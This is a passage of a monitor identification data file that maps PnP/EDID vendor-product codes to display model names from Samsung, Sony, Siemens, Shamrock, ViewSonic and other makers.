SAM0029=SyncMaster 757DF(X)/707DF(X)/700IFT, SyncMaster Magic CD177A(P)
SAM002A=SyncMaster 757NF(T)/707NF/700NF, SyncMaster Magic CN177A(P)
SAM002B=SyncMaster 955b(T)/905b(T)/950b(T), SyncMaster Magic CM195A(M)
SAM002C=SyncMaster 957p(T)/907p(T)/950p(T), SyncMaster Magic CM197A(M)
SAM002D=SyncMaster 905DF(X)/955DF(X), SyncMaster Magic CD195A(P)
SAM002E=SyncMaster 957DF(X)/907DF(X)/900IFT, SyncMaster Magic CD197A(P)
SAM002F=SyncMaster 959NF/900NF/909NF, SyncMaster Magic CN199A(P)
SAM0033=SyncMaster Magic CX152S / HX151S / EX151S
SAM0034=SyncMaster Magic CX152B(M)-AN/HX152B(M)/EX152B(M)
SAM0035=SyncMaster 175G, SyncMaster Magic CX176S-AN(A)/ CX176S-ANP / CX177S
SAM0036=SyncMaster Magic CX176B(M)
SAM003C=SAMSUNG LW15E23C/LT15E23C/LS15E23C/LTM1555
SAM003D=SAMSUNG LW17E24C/LT17E24C/LS17E24C/LTM1755
SAM003E=SyncMaster 151MB/155MB, SyncMaster Magic CX156A-G
SAM003F=SyncMaster 171MB/175MB, SyncMaster Magic CX176A-G
SAM0041=SyncMaster 155G/156G, SyncMaster Magic CX153S-AN/CX154S/LX151S-SZ
SAM0043=SyncMaster 763DF(X)/713DF(X),MagicSyncMaster CD173B(P)
SAM0044=SyncMaster 765DF(X)/715DF(X),MagicSyncMaster CD175B(P)
SAM0045=SyncMaster 763MB/713MB, SyncMaster Magic CD173D(P)/MD173D(P)/LD173D(P)
SAM0046=Samsung 170S / 171S / 175S
SAM0048=SyncMaster 765MB/715MB, SyncMaster Magic CD175D(P)
SAM004F=SyncMaster 150MPplus/150MP, SyncMaster Magic CX151MPplus/CX151MP
SAM0051=SyncMaster 1100p Plus/1109p, SyncMaster Magic CM219C 
SAM0052=SyncMaster 152T/155T, SyncMaster Magic CX155T(M)/MX154T(M)(Analog)
SAM0053=SyncMaster 152T/155T, SyncMaster Magic CX155T(M)/MX154T(M)(Digital)
SAM0054=SyncMaster 155Splus/151Splus, SyncMaster Magic CX151Splus-AZ
SAM0057=SyncMaster152B(M)/155B(M)/156B(M)/152K(M), SyncMaster Magic CX156B(M)/MX154B(M)/CX154B/LX154B
SAM0058=SyncMaster 151Q/155Q/150Q/150V, SyncMaster Magic CX151Q(M)
SAM0059=SyncMaster 757MB/717MB, SyncMaster Magic CD177D(P)
SAM005A=SyncMaster 171T/175T, SyncMaster Magic CX175T(Analog)
SAM005B=SyncMaster 171T/175T, SyncMaster Magic CX175T(Digital)
SAM005C=SyncMaster 151T/155T/150T, MagicSyncMaster CX155T(Analog)
SAM005D=SyncMaster 151T/155T/150T, MagicSyncMaster CX155T(Digital)
SAM0063=SyncMaster 171Q/170V/171V, SyncMaster Magic CX171S(M)/MX174S/LX174S/LX175S
SAM0064=SyncMaster 170MPplus/170MP, SyncMaster Magic CX171MPplus/CX171MP
SAM0069=SyncMaster 171s Plus/ 175s Plus, SyncMaster Magic CX175s Plus
SAM006A=SyncMaster 172B/176B  SyncMaster Magic CX176B/CX171B/LX174B/MX174B
SAM006B=SyncMaster 171N/175N/171Np/171Nm , SyncMaster Magic CX171N(M)/CX174N/CX171N/MX174N 
SAM006D=SyncMaster 1100DF/ 2100DF, SyncMaster Magic CD210C(P) 
SAM006E=SyncMaster 172T/176T  SyncMaster Magic CX176T(M)/CX171T(M)(Analog)
SAM006F=SyncMaster 172T/176T  SyncMaster Magic CX176T(M)/CX171T(M)(Digital)
SAM0070=SyncMaster 957MB/917MB/950MB SyncMaster Magic CD197D(P)
SAM0075=SyncMaster 176G, SyncMaster Magic CX176G
SAM0076=SyncMaster 155V, SyncMaster Magic CX151V 
SAM007C=SyncMaster 725MB/785MB , SyncMaster Magic CD175EP
SAM007D=SyncMaster 723MB/783MB, SyncMaster Magic CD173EP
SAM0080=SyncMaster 191N/195N, SyncMaster Magic CX191N/CX195N
SAM0081=SyncMaster 955MB/915MB ,  SyncMaster Magic CD195D(P) 
SAM0086=SyncMaster 172W(M)/175W(M), SyncMaster Magic CX171W(M)/CX176W(M)/CX175W(M)(Analog)
SAM0087=SyncMaster 172W(M)/175W(M), SyncMaster Magic CX171W(M)/CX176W(M)/CX175W(M)(Digital)
SAM0088=SyncMaster152S(M)/155S(M)/156S(M) , SyncMaster Magic CX156S(M)/EX154S(M)/CX154S/LX154S/HX154S
SAM0093=SyncMaster 156T ,  SyncMaster Magic CX151T(M) 
SAM0094=SyncMaster 176S(M)/172S(M), SyncMaster Magic CX171S(M)/CX171MTX
SAM0098=Samsung 190S / 191S / 195S
SAM009D=Samsung SyncMaster152V / 152Sm 
SAM00A0=SyncMaster 945MBi / 925MBi , SyncMaster Magic CD195FPi
SAM00A1=SyncMaster 176N(M) , SyncMaster Magic CX175N(M)/CX176N(M) 
SAM00A3=Samsung SyncMaster 173V/172V/173S/173B 
SAM00A6=SyncMaster 190N(M)/192N(M)/193N(M) 
SAM00A7=SyncMaster 172MP/176MP,SyncMaster Magic CX710MP/CX700MB
SAM00A8=SyncMaster 152MP/156MP,SyncMaster Magic CX510MP/CX500MB
SAM00A9=Samsung LCD TV Model LW32A23W (Digital)
SAM00AA=Samsung SyncMaster 192V/193V 
SAM00B1=Samsung 173V/172V 
SAM00B2=Samsung 192V/193V 
SAM00B3=Samsung 700DF
SAM00B4=Samsung 900DF
SAM00B6=SyncMaster 192T/196T,SyncMaster Magic CX910T(M)
SAM00B7=SyncMaster 192B/196B,SyncMaster Magic CX910B/CX900B(M)
SAM00B9=SyncMaster 177S , SyncMaster Magic CX700S/CX710B(M)/CX700B(M) 
SAM00BA=SyncMaster 173T/177T,SyncMaster Magic CX700T/CX710T 
SAM00BB=SyncMaster 193T/197T/191Tplus,SyncMaster Magic CX900T
SAM00C3=SyncMaster Magic CX710S(M)
SAM00C5=SyncMaster 927MB,SyncMaster Magic CD197F(P)
SAM00D9=SyncMaster 243T,SyncMaster Magic CX240T(Analog)
SAM00F7=SyncMaster 243T,SyncMaster Magic CX240T(Digital)
SAM0100=Samsung SyncMaster 4S
SAM0107=SyncMaster 793DF/793MB
SAM0108=SyncMaster 795DF/795MB , SyncMaster Magic CD175GP
SAM0109=Samsung SyncMaster 997 MB - 19inch
SAM010B=SyncMaster 710V/710M,SyncMaster Magic CX701BM
SAM010C=Samsung SyncMaster 710T,SyncMaster Magic CX713T (Analog)
SAM010D=Samsung SyncMaster 710T,SyncMaster Magic CX713T (Digital)
SAM010E=Samsung SyncMaster 198T/910T,SyncMaster Magic CX901T (Analog)
SAM010F=Samsung SyncMaster 198T/910T,SyncMaster Magic CX901T (Digital)
SAM0113=Samsung SyncMaster 510T,SyncMaster Magic CX511T (Analog)
SAM0114=Samsung SyncMaster 510T,SyncMaster Magic CX511T (Digital)
SAM0115=SyncMaster 910V/910M/913V
SAM0116=SyncMaster 591s/591v
SAM0117=SyncMaster 793S/793V , SyncMaster Magic CM173G
SAM0118=SyncMaster 733DF/733MB/783DF,SyncMaster Magic CD173G
SAM0119=SyncMaster 797DF/797MB, SyncMaster Magic CD177GP
SAM011C=SyncMaster 510M,SyncMaster Magic CX501BM
SAM011D=Samsung SyncMaster 510N/512N,SyncMaster Magic CX511N/CX501N
SAM011E=Samsung SyncMaster 177N/710N,SyncMaster Magic CX711N
SAM011F=Samsung SyncMaster 910N/912N
SAM0124=Samsung SyncMaster 711N/712N
SAM0165=SyncMaster 710Tplus/711T (Analog)
SAM0166=SyncMaster 710Tplus/711T (Digital)
SAM016B=SyncMaster 912T (Analog)
SAM016C=SyncMaster 912T (Digital)
SAM0172=SyncMaster 515V
SAM0CF1=Samsung SyncMaster 1000s (CGP1607*)
SAM0D65=Samsung SyncMaster 500(M)s Plus (CKE5507*)
SAM0D66=Samsung SyncMaster 500b Plus (CKF5607*)
SAM0D67=Samsung SyncMaster 700(M)s Plus (CKG7507*)
SAM1033=Samsung SyncMaster 450b(T)
SAM1034=Samsung SAMTRON 45B(T)
SAM1035=Samsung SyncMaster 550s(T)
SAM1036=Samsung SAMTRON 55E(Plus)
SAM1055=Samsung SyncMaster 550b(T)
SAM1056=Samsung SAMTRON 55B
SAM1058=Samsung17
SAM10D7=Samsung SyncMaster 750/751 DF
SAM10D9=Samsung SyncMaster 950/951 DF
SAM1155=Samsung SyncMaster 753DF(T)
SAM1156=Samsung SyncMaster 755DF(T)
SAM1159=Samsung SAMTRON 75DF(T)
SAM1279=Samsung SyncMaster 955SL(T)
SAM12B6=Samsung SyncMaster 550v
SAM12D7=Samsung SyncMaster 770 TFT
SAM12F4=Samsung SAMTRON 75T(T)
SAM12F5=Samsung SyncMaster 750ST(T)
SAM1530=Samsung 15GLsi
SAM1C53=Samsung SyncMaster 500(M)b (CGB5607*)
SAM1C54=Samsung SAMTRON 5(M)B (CGB5617*)
SAM1C73=Samsung SyncMaster 500(M)p/500Up (CGC5607*)
SAM1CB3=Samsung SyncMaster 700(M)s (CGE7507*)
SAM1CB4=Samsung SAMTRON 7(M)E (CGE7517*)
SAM1D13=Samsung SyncMaster 700(M)p/700Up (CGH7609*)
SAM1D73=Samsung SyncMaster 500(M)s (CGK5507*)
SAM1D74=Samsung SAMTRON 5(M)E (CGK5517*)
SAM1DB3=Samsung SyncMaster 700(M)b/700Ub (CGM7607*)
SAM1DB4=Samsung SAMTRON 7(M)B (CGM7617*)
SAM1E54=Samsung SyncMaster 150t(A)/570D TFT(A)/MagicSyncMaster L15D(A)
SAM1E55=Samsung SyncMaster 150t(D)/570D TFT(D)/MagicSyncMaster L15D(D)
SAM1E56=Samsung SyncMaster 170T(A)/770D TFT(A)/MagicSyncMaster L17D(A)
SAM1E57=Samsung SyncMaster 170T(D)/770D TFT(D)/MagicSyncMaster L17D(D)
SAM1E58=Samsung SyncMaster 180T(A)/800D TFT(A)/MagicSyncMaster L18D(A)
SAM1E59=Samsung SyncMaster 180T(D)/800D TFT(D)/MagicSyncMaster L18D(D)
SAM1F13=Samsung SyncMaster 1000p
SAM1F14=Samsung SyncMaster 1000b (CGX1607*)
SAM202E=Samsung Samtron 40Bn
SAM2033=Samsung SyncMaster 410b(CHA4217*)
SAM2034=Samsung Samtron 40B
SAM2035=Samsung SyncMaster 510(M)s (CHA5807*)
SAM2036=Samsung Samtron 50(M)E
SAM2041=Samsung SyncMaster 610(M)b(CHB6107*)
SAM2042=Samsung Samtron 60(M)B
SAM2055=Samsung SyncMaster 510b(CHB5707*)
SAM2056=Samsung Samtron 50B
SAM2057=Samsung SyncMaster 710(M)s (CHB7707*)
SAM2058=Samsung Samtron 70(M)E
SAM2059=Samsung SyncMaster 710(M)b (CHB7709*)
SAM2C33=Samsung SAMTRON 4Bi
SAM2C34=Samsung SyncMaster 400b (CKA4217*)
SAM2C35=Samsung SAMTRON 5Ei
SAM2C36=Samsung 5e (CKA52*)
SAM2C55=Samsung SAMTRON 5Bi
SAM2C56=Samsung 5b (CKB52*)
SAM2C57=Samsung SAMTRON 7Ei
SAM2C58=Samsung 7e (CKB72*)
SAM2CF8=Samsung SyncMaster 700b Plus
SAM3098=SyncMaster Magic L18-AN
SAM3675=Samsung SyncMaster 150MP/150MB
SAM3677=Samsung SyncMaster 170MP
SAM3679=Samsung SyncMaster 170MB
SAM38D2=Samsung SyncMaster 1200NF/2200NF, MagicSyncMaster CPN22NF
SAM38D7=Samsung SyncMaster 700NF(T)
SAM38D8=Samsung SyncMaster 750NF(T)
SAM38D9=Samsung SyncMaster 900NF(T)
SAM38DA=Samsung SyncMaster 950NF(T)
SAM40D7=Samsung SyncMaster 750p(T)
SAM40D8=Samsung SAMTRON 75P Plus(T)/75P(T)
SAM40D9=Samsung SyncMaster sm950p(T)
SAM40DA=Samsung SyncMaster 950P Plus(T)
SAM40DB=Samsung SAMTRON 95P Plus(T)/95P
SAM4137=Samsung SyncMaster 750IFT(T)
SAM4139=Samsung SyncMaster 950IFT(T)/951IFT
SAM413B=Samsung SyncMaster 955DF(T)
SAM4230=Samsung SyncMaster 1100p Plus(T)
SAM4233=Samsung SyncMaster 1100p(T)
SAM4251=Samsung SyncMaster 210T(A)/210MP,MagicSyncMaster LXA210T(A)
SAM4252=Samsung SyncMaster 210T(D)/210MP,MagicSyncMaster LXA210T(D)
SAM4254=Samsung SyncMaster 240T(Analog)
SAM4255=Samsung SyncMaster 240T(Digital)
SAM4278=Samsung SyncMaster 950SL
SAM4279=Samsung SyncMaster 900sl Plus(T)/950sl Plus(T)
SAM4610=Samsung SyncMaster 21GLs
SAM4613=Samsung SyncMaster 3Ne/4S (CQP4147*)
SAM4690=Samsung SyncMaster 20GLsi
SAM49D4=Samsung SyncMaster 470S /480S TFT
SAM49D5=Samsung SyncMaster 570B/580B TFT
SAM4A15=Samsung SyncMaster 570P TFT/580P TFT
SAM4A16=Samsung SyncMaster 570P Plus/580P Plus TFT
SAM4A75=Samsung SyncMaster 570S/580S TFT
SAM4D50=Samsung SyncMaster 15GLe
SAM4D51=Samsung SyncMaster 15GLi
SAM4D52=Samsung SyncMaster 15M
SAM4D70=Samsung SyncMaster 17GLi
SAM4D71=Samsung SyncMaster 17GLsi
SAM4D72=Samsung SyncMaster 6Ne
SAM4D73=Samsung 17GLi
SAM4D74=Samsung 17GLsi
SAM4DB9=Samsung SyncMaster 900SL (CSM92*)
SAM4EE6=Samsung SyncMaster 700p Plus (CSH7839*)
SAM4EE9=Samsung SyncMaster 700IFT (CSH780B*)
SAM4EED=Samsung SyncMaster 2400(U)W (SWM400*)
SAM4F26=Samsung SyncMaster 900p (CSH9839*)
SAM4F27=Samsung Samtron 9P
SAM4F29=Samsung SyncMaster 900IFT
SAM5450=Samsung SyncMaster 15Me
SAM6034=Samsung SyncMaster 400TFT (LXA41*)
SAM6035=Samsung SyncMaster 500TFT (LXA51*)
SAM6053=Samsung SyncMaster 320TFT (LXB310*)
SAM6054=Samsung SyncMaster 330/331TFT (LXB350*)
SAM6055=Samsung SyncMaster 520TFT (LXB530*)
SAM6056=Samsung SyncMaster 530/531TFT (LXB550*)
SAM6058=Samsung SyncMaster 800TFT/870TFT
SAMOO4B=Samsung SyncMaster 241MP/245MP
SAMOO56=SyncMaster 211MP/215MP, SyncMaster Magic CX211MP
SAMOO91=SyncMaster 213T,SyncMaster Magic CX210T 
SDI1428=Samtron 428PT/PTL
SDI1528=Samtron SC-528TXL
SDI1529=Samtron SC-528UXL
SDI1530=Samtron SC-528MXLJ
SDI2814=Samtron SC-428PT(L)
SDI2815=Samtron SC-528TXL
SDI4690=Samtron SC-208DXL+
SDI4D70=Samtron SC-728FXL
SDI4D71=Samtron SC-726GXL
SDI4D73=Samtron SC-728FXLJ
SDI5451=Samtron SC-528MDL
SECA000=EPSON ELP-3500
SECA001=EPSON ELP-5000
SECA100=EPSON ELP-7000
SGX0640=1600SW FlatPanel
SIB565A=SANYO CMT-B17M6W
SIB565B=SANYO CMT-D21M9
SIE0001=Siemens MCM17P1 (-K551-)
SIE0030=Siemens MCF3801 (-K507-)
SIE0040=Siemens MCM212V (-K539-)
SIE0050=Siemens MCF3512 (-K543-)
SIE0060=Siemens MCF3812 (-K544-V150)
SIE0061=Siemens MCF3812 (-K544-V155)
SIE0070=Siemens MCM141V (-K542-)
SIE0090=Siemens MCM21P1 (-K550-)
SIE0100=Siemens MCM17P1 (-K551-)
SIE0110=Siemens MCM19P1 (-K552-)
SIE0120=Siemens MCM173V (-K553-)
SIE0121=Fujitsu Siemens 70 kHz Monitor
SIE0130=Siemens Xpert 710 (-K557-)
SIE0140=Siemens MCM15P1 (-K561-)
SIE0150=Siemens MCM19T1 (-K562-)
SIE0160=Siemens MCM153V (-K563-)
SIE0170=Siemens MCF4611 (-K568-)
SIE0180=Siemens MCF3811 (-K506-)
SIE0190=Siemens MCM174V (-K575-)
SIE0200=Siemens MCM21P2 (-K577-)
SIE0210=Siemens MCM213V (-K578-)
SIE0220=Siemens MCM17P2 (-K581-)
SIE0230=Siemens MCF3813 (-K582-)
SIE0240=Siemens MCM21T2 (-K583-)
SIE0250=Siemens Monitor 70kHz
SIE1001=Siemens MCM19P1 (-K552-)
SML1988=HIGHSCREEN MS 15AX
SML6425=Smile/KFC CA6425DL/CB6425DL
SML6525=Smile/KFC CA6525DL/CB6525DL
SML6546=Smile/KFC CA6546SL/CB6546SL
SML6719=Smile/KFC CA6719SL/CB6719SL
SML6738=Smile/KFC, 85Khz Monitor
SML6746=Smile/KFC CA6746SL/CB6746SL
SML6748=Smile/KFC CA6748SL/CB6748SL
SML6919=Smile/KFC CA6919SL/CB6919SL
SNIAA0B=Siemens MCM1503 (-K344-)
SNIAB0B=Siemens MCM1704 (-K425-)
SNIAC0B=Siemens MCM2103 (-K422-)
SNIAD0B=Siemens MCM1506 (-K448-V318)
SNIAE0B=Siemens MCM1506 (-K448-V418/150)
SNIAF0B=Siemens MCM1703 (-K414-V150)
SNIBA0B=Siemens MCM1405 (-K449-)
SNIBB0B=Siemens MCM2105 (-K455-)
SNIBC0B=Siemens MCM2106 (-K462-)
SNIBD0B=Siemens MCM1503 (-K344-V418) >= Rev.3A
SNIBF0B=Siemens MCF3501 (-K451-)
SNICA0B=Siemens MCM151V (-K469-)
SNICB0B=Siemens MCM1507 (-K470-)
SNICC0B=Siemens MCM1705 (-K471-)
SNICD0B=Siemens MCM1755 (-K472-)
SNICE0B=Siemens MCM2107 (-K478-)
SNICF0B=Siemens MCM2108 (-K479-)
SNIDA0B=Siemens MCM1508 (-K486-)
SNIDB0B=Siemens MCM1706 (-K488-)
SNIDC0B=Siemens MCM1510 (-K494-)
SNIDD0B=Siemens MCM171V (-K496-)
SNIDE0B=Siemens MCM2109 (-K499-)
SNIDF0B=Siemens MCM2110 (-K500-)
SNIEA0B=Siemens MCM152V (-K495-)
SNIEB0B=Siemens MCF3511 (-K505-)
SNIEC0B=Siemens MCM211V (-K508-)
SNIED0A=Siemens MCM2102 (-K352-V518/618)
SNIED0B=Siemens MCM1901 (-K489-)
SNIEE0A=Siemens PM150 (-K408-)
SNIEE0B=Siemens MCM1707 (-K512-)
SNIEF0A=Siemens MCM1505 (-K424-)
SNIFA0A=Siemens MCM1404 (-K372-) >= Rev.7
SNIFA0B=Siemens MCF3811 (-K506-)
SNIFB0A=Siemens MCM1552 (-K421-)
SNIFB0B=Siemens MCM21T1 (-K526-)
SNIFC0A=Siemens PM170 (-K409-)
SNIFC0B=Siemens MCM1902 (-K527-)
SNIFD0A=Siemens MCM1753 (-K411-)
SNIFE0A=Siemens MCM1754 (-K415-)
SNIFF0A=Siemens MCM1703 (-K414-V318)
SNY0000=SONY GDM-20SHT
SNY0030=Sony CPD-L133
SNY0040=SONY CPD-L141
SNY0050=SONY CPD-100VS
SNY0070=SONY CPD-17SF8R
SNY0071=SONY CPD-220GS/17GS2
SNY0080=SONY CPD-L181/181A
SNY0090=SONY GDM-400PS/400PST/19PS
SNY0091=SONY CPD-420GS/GST/19GS2
SNY00A0=SONY CPD-20SF2T5
SNY00B0=SONY GDM-500PS
SNY00E0=SONY GDM-W900
SNY00FA=SONY Notebook LCD
SNY0150=SONY CPD-100SF
SNY0170=SONY GDM-17SE2T
SNY017B=SONY CPD-2003GT
SNY0190=SONY GDM-F400/F400T9
SNY01A0=SONY CPD-20SF3
SNY01B0=SONY GDM-F500/F500T9
SNY01E0=SONY GDM-FW900
SNY01F2=KL-W7000
SNY01FA=Sony Notebook LCD (1400x1050)
SNY0270=SONY CPD-200SF
SNY0290=SONY CPD-G400/G400J
SNY02B0=Sony CPD-520GS/520GST/21GS2
SNY02FA=Sony Notebook LCD (1600x1200)
SNY0350=SONY CPD-15SF9
SNY0370=SONY CPD-200SFT
SNY0371=SONY CPD-G220R
SNY0390=SONY CPD-E400/E400E
SNY03A0=SONY CPD-300SFT
SNY03B0=SONY CPD-G500/G500J
SNY03FA=Sony Notebook LCD (1280x600)
SNY0450=SONY CPD-100ES
SNY0470=SONY CPD-17SF9
SNY0471=SONY CPD-G220S
SNY0490=SONY CPD-G420
SNY04A0=SONY CPD-300SFT5
SNY04B0=SONY CPD-E500/E500E
SNY0550=SONY CPD-100GS
SNY0570=SONY CPD-200SX
SNY0571=SONY CPD-G220
SNY0590=SONY HMD-A420
SNY05A0=SONY GDM-20SE2T5
SNY05B0=SONY GDM-F500R
SNY0650=SONY CPD-120VS
SNY0670=SONY CPD-220VS
SNY0690=SONY CPD-E400P
SNY06A0=SONY GDM-20SE2T/SE3T
SNY06B0=SONY GDM-F520
SNY0750=SONY CPD-15ES
SNY0770=SONY CPD-200ES
SNY0771=Sony CPD-E230
SNY0790=SONY CPD-G400P
SNY07A0=SONY VMU-1000
SNY07B0=SONY CPD-G520
SNY0850=SONY CPD-120AS
SNY0870=SONY CPD-210SFB
SNY0890=SONY GDM-F420
SNY08A0=SONY GDM-20SHT(NEW)
SNY0950=Sony CPD-L150
SNY0970=SONY CPD-17MS
SNY0990=SONY CPD-G420S
SNY0A50=Sony CPD-101VS iGPE
SNY0A70=SONY CPD-17GS
SNY0A90=SONY HMD-A400
SNY0B50=SONY CPD-15ES2
SNY0B70=SONY CPD-17C1
SNY0C50=SONY CPD-110GS/110EST
SNY0C70=SONY GDM-200PS
SNY0D50=SONY CPD-E100/E100E
SNY0D70=SONY CPD-220AS
SNY0E50=SONY HMD-A100
SNY0E70=SONY CPD-201VS iGPE
SNY0F50=SONY CPD-L200/M151
SNY0F70=SONY CPD-17ES2
SNY1050=SONY SDM-N50
SNY1070=SONY CPD-210GS/210EST
SNY1150=SONY SDM-N50PS
SNY1170=SONY HMD-H200
SNY1270=SONY CPD-G200/G200J
SNY1370=SONY HMD-A200
SNY1450=SONY CPD-E100P
SNY1470=SONY CPD-E200/E200E
SNY1550=SONY SDM-N50TV
SNY1570=SONY HMD-V200
SNY1650=SONY SDM-M51
SNY1670=SONY HMD-Y200
SNY1770=SONY CPD-E220/E220E
SNY1870=SONY CPD-G200P
SNY1970=SONY HMD-A220
SNY1A70=SONY CPD-E215E
SNY1D70=SONY SDM-X72 (Analog)
SNY1E70=SONY SDM-X72 (Digital)
SNY8050=SONY CPD-100SX
SRC0002=SHAMROCK C002
SRC0048=SHAMROCK C072
SRC0066=SHAMROCK C102
SRC0197=SHAMROCK C407
SRC0198=SHAMROCK C408
SRC0199=SHAMROCK C409/C409A/C409-D/C409-DA
SRC01F6=SHAMROCK C502
SRC01F9=SHAMROCK C505/C505-D
SRC01FB=SHAMROCK C507
SRC01FC=SHAMROCK C508
SRC01FD=SHAMROCK C509/C509-D
SRC0234=SHAMROCK M564
SRC0239=SHAMROCK M569
SRC02BE=SHAMROCK C702
SRC02BF=SHAMROCK C703
SRC02C1=SHAMROCK C705
SRC02C2=SHAMROCK C706
SRC02C3=SHAMROCK C707
SRC02C4=SHAMROCK C708
SRC02C5=SHAMROCK C709/C709M SERIES
SRC0301=SHAMROCK M769
SRC0387=SHAMROCK C903
SRC0389=SHAMROCK C905
SRC057F=SHAMROCK C407
SRC05DE=SHAMROCK C502
SRC05E1=SHAMROCK C505/C505-D
SRC05E3=SHAMROCK C507
SRC06A6=SHAMROCK C702
SRC06A7=SHAMROCK C703
SRC06A9=SHAMROCK C705
SRC06AA=SHAMROCK C706
SRC07D2=SHAMROCK C002
SRC0836=SHAMROCK C102
SRC706A=SHAMROCK C706 0.26MM DP CRT
SRC9001=SHAMROCK SRC1451P
SRC9002=SHAMROCK SRC1451LP
SRC9003=SHAMROCK SRC1452P
SRC9004=SHAMROCK SRC1452LP
SRC9005=SHAMROCK SRC1405
SRC9006=SHAMROCK SRC1405L
SRC9007=SHAMROCK SRC1406
SRC9008=SHAMROCK SRC1406L
SRC9009=SHAMROCK SRC1407
SRC9010=SHAMROCK SRC1407L
SRC9011=SHAMROCK SRC1502
SRC9012=SHAMROCK SRC1502L
SRC9013=SHAMROCK SRC1703
SRC9014=SHAMROCK SRC1703L
SRC9015=SHAMROCK SRC1702LP
SRC9016=SHAMROCK SRC2002LP
SRC9017=SHAMROCK SRC2102LP
SRC9018=SHAMROCK SRC1501/C501
SRCF401=SHAMROCK F401 TFT ANALOG DRIVER
SRCF402=SHAMROCK F402 TFT ANALOG DRIVER
SRCF501=SHAMROCK F501 TFT ANALOG DRIVER
STC02C7=AlphaScan 711
STC02C8=AlphaScan 712
STC032B=AlphaScan 811
STC033E=HIGHSCREEN MS 2095P
STC0751=HIGHSCREEN MS 17C
STC0800=AlphaScan 800S
STN0002=SAMTRON 56E/57E/56V
STN0003=SAMTRON 56B/57B
STN0004=SAMTRON 50S
STN0005=SAMTRON 76E/77E
STN0006=SAMTRON 76DF/77DF
STN0007=SAMTRON 76BDF/77BDF
STN0008=SAMTRON 76B/77B
STN0009=SAMTRON 77P/76P(T)
STN000A=SAMTRON 96B/97B
STN000B=SAMTRON 96BDF/97BDF
STN000C=SAMTRON 96P/97P(T)
STN000E=SAMTRON 210P(T)
STN0013=SAMTRON 51S/52S/51B/52B
STN0014=SAMTRON 71S
STN0018=SAMTRON 210P Plus 
STN0019=SAMTRON 91S 
TAT1F65=Intelliscan TM651x series
TAT1F67=Intelliscan TM671x series
TAT2F44=Intelliscan TM442x series
TAT2F45=Intelliscan TM452x series
TAT3044=Tatung C5D
TAT304E=Tatung VDBU C9N 19'' Colour Monitor
TAT3054=Mitsubishi PC Division V70 (XJ63754)
TAT434D=Tatung CM-17MC
TAT4855=Tatung CM-14UH
TATBBCF=Tatung XJ59992
TAXE430=Ergovision 430LR
TAXE550=Ergovision 550TCO95/TCO95-S
TAXE730=Ergovision 730TCO95/TCO95-S
TAXE740=Ergovision 740TCO95/TCO95-S
TAXE750=Ergovision 750TCO95
TAXE760=Ergovision 760TCO95/TCO95-S
TAXE975=Ergovision 975TCO95
TEA51F2=TEAC DM-51FII
TEI0412=Fujitsu Siemens C412
TEI0432=Fujitsu Siemens C432
TEI0438=Fujitsu Siemens C438
TEI0450=Fujitsu Siemens C450
TEI0518=Fujitsu Siemens C518
TEI0535=Fujitsu Siemens C535
TEI0550=Fujitsu Siemens C550
TEI0551=Fujitsu Siemens C551
TEI0572=Fujitsu Siemens C572
TEI0760=Fujitsu Siemens C760
TEI0767=Fujitsu Siemens C767
TEI0768=Fujitsu Siemens C768
TEI0772=Fujitsu Siemens C772
TEI0786=Fujitsu Siemens C786
TEI0795=Fujitsu Siemens C795
TEI0995=Fujitsu Siemens C995
TOS5000=Toshiba CRT17002
TOS5001=Toshiba CRT15003
TOS5002=Toshiba CRT21002
TOS5004=Toshiba 17 Multimedia display
TOS5005=Toshiba 15 Multimedia display
TOS5006=Toshiba CRT17003
TOS5007=Toshiba 17 Multimedia displayA
TOS5009=Toshiba DA1766ME02F
TOS500A=Toshiba DA1566ME01
TOS5012=Toshiba CRT17004
TOS5013=Toshiba CRT15004
TOS5081=Toshiba Internal 800x600 Panel
TOS5082=Toshiba Internal 1024x768 Panel
TOS5083=Toshiba Internal 1024x600 Panel
TRL0010=TRL/RIC RH-1450
TRL0110=TRL/RIC DL-1564M/DL-1564
TRL0310=TRL/RIC DL-1750MU
TRL0410=TRL/RIC DH-1570M/DH-1570
TRL0510=TRL/RIC DH-1764M/DH-1764
TRL0610=TRL/RIC DH-1764UM/DH-1764U
TRL061C=TRL/RIC DL-1564
TRL06E4=HIGHSCREEN MS 1779P
TRL0710=HIGHSCREEN 14' Standard
TRL1007=HIGHSCREEN MS 1455M
TSB5000=Toshiba DA1566M, Infinia 15-inch Monitor
TSB5001=Toshiba DA1766M, Infinia 17-inch Monitor
TSB5002=Toshiba DP566M, Equium 15-inch Monitor
TSB5003=Toshiba DP782M, Equium 17-inch Monitor
TSB5004=Toshiba DR569M (PV2001U)
TSB5005=Toshiba DR769MF (PV2002U)
TTK06EC=CV173
TTK06ED=CV174
TTK06F3=CV175
TTK06F4=CV173 PRO
TTK084A=CV212
TTK0850=CV213
TVM0487=TVM AS4Dp/LR4Dp Model
TVM0588=TVM AS5S Model
TVM0589=TVM TCO5S Model
TVM0688=TVM TCO6S Model
UNM1002=UNISYS EVG1000-E2
UNM2001=UNISYS EVG2000-E
UNM2002=UNISYS EVG2000-P
UNM2014=Unisys EVG-142-COL
UNM2015=Unisys EVG-152-COL
UNM2101=Unisys EVG2100-E
UNM2102=Unisys EVG2100-P
UNM3001=UNISYS EVG3000-E
UNM3002=UNISYS EVG3000-P
UNM3015=Unisys EVG-153-COL
UNM3101=UNISYS EVG3100-E
UNM3102=UNISYS EVG3100-P
UNM4002=Unisys EVG4000-P
UNM4017=Unisys EVG-174-COL
UNM5002=Unisys EVG5000-P
UNM5021=Unisys EVG-215-COL
VBS009C=HIGHSCREEN MS 15AS
VOB0000=HIGHSCREEN MS 1754M
VOB017D=HIGHSCREEN MS 17D
VOB0A0C=HIGHSCREEN MS 1795PII
VOB0DAE=HIGHSCREEN MS 19P
VOB0F3C=HIGHSCREEN MS 2195P
VOB0F47=HIGHSCREEN MS 2107P
VOB13ED=HIGHSCREEN 1500TFT
VOB3130=HIGHSCREEN LE 95P
VOBAC08=HIGHSCREEN MS 1590P
VOBCF0D=HIGHSCREEN MS 19PII
VOBE259=HIGHSCREEN MS 1995P
VOBFF0B=HIGHSCREEN MS 1770P
VSC0501=ViewSonic G90f
VSC0C00=ViewSonic 17GS
VSC0C0F=ViewSonic 17PS
VSC0C1F=ViewSonic 17GA
VSC1302=ViewSonic G90mb
VSC1600=ViewSonic 21PS
VSC200D=ViewSonic A90f+
VSC2408=ViewSonic E90fmb
VSC240B=ViewSonic P95fb+
VSC2B00=ViewSonic G810-5
VSC2B09=ViewSonic P95f+
VSC2C0B=ViewSonic P220fb-3
VSC2F19=ViewSonic E70f+-3
VSC3141=ViewSonic 14ES
VSC3145=ViewSonic 15GS-3
